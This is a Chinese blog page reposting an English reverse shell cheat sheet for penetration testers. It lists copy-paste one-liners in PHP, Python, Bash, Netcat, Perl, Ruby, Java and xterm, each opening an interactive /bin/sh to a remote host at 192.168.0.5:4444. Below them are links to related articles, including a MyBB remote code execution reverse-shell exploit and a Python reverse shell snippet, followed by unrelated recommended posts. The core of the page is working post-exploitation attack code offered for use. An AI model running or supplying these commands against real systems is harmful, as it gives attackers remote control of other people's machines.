常见语言反弹shell reverse shell
本文来自:https://www.hacking.land/2019/03/reverse-shell-cheat-sheet.html?m=1
前言
If you’re lucky enough to find a command execution vulnerability during a penetration test, pretty soon afterwards you’ll probably want an interactive shell.
If it’s not possible to add a new account / SSH key / .rhosts file and just log in, your next step is likely to be either trowing back a reverse shell or binding a shell to a TCP port. This page deals with the former.
Your options for creating a reverse shell are limited by the scripting languages installed on the target system – though you could probably upload a binary program too if you’re suitably well prepared.
The examples shown are tailored to Unix-like systems. Some of the examples below should also work on Windows if you use substitute “/bin/sh -i” with “cmd.exe”.
Each of the methods below is aimed to be a one-liner that you can copy/paste. As such they’re quite short lines, but not very readable.
PHP
php -r '$sock=fsockopen("192.168.0.5",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
Python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.5",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Bash
bash -i >& /dev/tcp/192.168.0.5/4444 0>&1
Netcat
nc -e /bin/sh 192.168.0.5 4444
Perl
perl -e 'use Socket;$i="192.168.0.5";$p=4545;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
Ruby
ruby -rsocket -e'f=TCPSocket.open("192.168.0.5",4444).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
Java
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/192.168.0.5/4444;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
xterm
xterm -display 192.168.0.5:4444
常见语言反弹shell reverse shell的更多相关文章
- MyBB \inc\class_core.php <= 1.8.2 unset_globals() Function Bypass and Remote Code Execution(Reverse Shell Exploit) Vulnerability
catalogue . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 MyBB's unset_globals() function ca ...
- Simple python reverse shell
import base64,sys; import socket,struct s=socket.socket(2,socket.SOCK_STREAM) s.connect(('Attack's I ...
- Reverse Shell Cheat Sheet
Reverse Shell Cheat Sheet If you're lucky enough to find a command execution vulnerability during a ...
- 转:shell 经典, shell 十三问
原文链接:http://blog.csdn.net/freexploit/article/details/626660 我在 CU 的日子并不长,有幸在 shell 版上与大家结缘.除了跟众前辈学 ...
- 初识Shell与Shell脚本
初识Shell Shell 是一个用 C 语言编写的程序,Shell 既是一种命令语言,又是一种程序设计语言. Shell 是指一种应用程序,这个应用程序提供了一个界面,用户通过这个界面访问操作系统内 ...
- shell 学习笔记1-什么是shell,shell变量
一.介绍 1.什么是shell Shell 既是一种命令语言,又是一种程序设计语言,他在操作系统得最外层,负责直接与用户对话,把用户得输入解释个OS,并处理各类操作系统得输出结果,输出到屏幕返回个i用 ...
- 什么是Shell?Shell脚本基础知识详细介绍
这篇文章主要介绍了什么是Shell?Shell脚本基础知识介绍,本文是一篇Shell脚本入门文章,在本文你可学到什么是Shell.有多少种Shell.一个Shell脚本代码实例,需要的朋友可以参考下 ...
- 【shell】shell脚本入门
1. 前言 1.1 为什么学习shell编程 Shell脚本语言是实现Linux/UNIX系统管理及自动化运维所必备的重要工具,Linux/UNIX系统的底层及基础应用软件的核心大部分涉及Shell脚 ...
- 我们一起来学Shell - 初识shell
文章目录 Shell 的分类 `bash` `csh` `ksh` `tcsh` `sh` `nologin` `zsh` Shell 能做什么 bash 环境变量文件 `/etc/profile` ...
- [拾 得] 一枚迷人的贝壳 SHELL / Linux | shell 脚本初步入门
坚持知识分享,该文章由Alopex编著, 转载请注明源地址: http://www.cnblogs.com/alopex/ 索引: 什么是shell shell的分类 shell脚本的执行方式 ...
随机推荐
- TensorFlow中的Variable 变量
简单运用 这节课我们学习如何在 Tensorflow 中使用 Variable . 在 Tensorflow 中,定义了某字符串是变量,它才是变量,这一点是与 Python 所不同的. 定义语法: s ...
- k8s安装metrics-server
Kubernetes Metrics Server: Kubernetes Metrics Server 是 Cluster 的核心监控数据的聚合器,kubeadm 默认是不部署的. Metrics ...
- Kubernetes部署的10个注意事项
摘要 容器开发有望在云中实现前所未有的可移植性和可扩展 性.此外,DevOps 开发和文化实践也有助于提升业务价 值和响应能力.但是,在开始第一个容器开发项目之前, 有一些问题需要考虑清楚:我们应该使 ...
- ENGG1310 Electricity and electronics P1.1 microelectronics & optoelectronics
课程内容笔记,自用,不涉及任何 assignment,exam 答案 Notes for self use, not included any assignments or exams 听说这节课内容 ...
- 【DM论文阅读杂记】复杂社区网络
Paper Title Community Structure in Time-Dependent, Multiscale, and Multiplex Networks Basic algorith ...
- [CSAPP]第一章 计算机系统漫游 学习笔记
CSAPP 第一章 计算机系统漫游 1.1 信息就是位+上下文 系统中所有信息-----包括磁盘文件.内存中的程序.内存中存放的用户数据以及网络上上传的数据,都是由一串比特表示的.同时区分不同数据对象 ...
- Qt设置程序图标
修改.pro文件添加一下代码:要求.pro文件和.ico文件在同一文件夹下 RC_ICONS = xxx.ico (你的程序图标)最后重新构建一次即可
- ApiPost前后端人员可以使用的接口测试工具还带生成文档
整体界面都是全中文非常适合过来使用,在本来使用过 对比来说这个工具调试和界面优化以及生成文档方面都是无可挑剔的 接口请求的参数描述也可以按自己的需求来设置后生成文档,方便了后端接口人员测试后回馈给前端 ...
- Excel怎么把公式转成数值并复制
直接选中复制,粘贴时选择选择性粘贴,选择数值确认
- Ubuntu之切换root用户提示认证失败
出现认证失败(Authentication failure)的原因有两种,要么是密码输入错误,要么是新安装的系统还没有给root设置密码,,如果是后者,可以通过命令sudo passwd root进行 ...